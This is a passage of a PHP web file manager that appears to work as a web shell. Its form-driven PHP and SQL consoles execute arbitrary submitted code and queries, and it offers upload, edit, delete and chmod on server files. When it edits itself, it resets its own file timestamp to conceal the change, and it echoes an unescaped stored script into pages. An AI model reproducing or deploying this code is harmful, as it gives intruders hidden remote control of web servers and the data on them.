	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
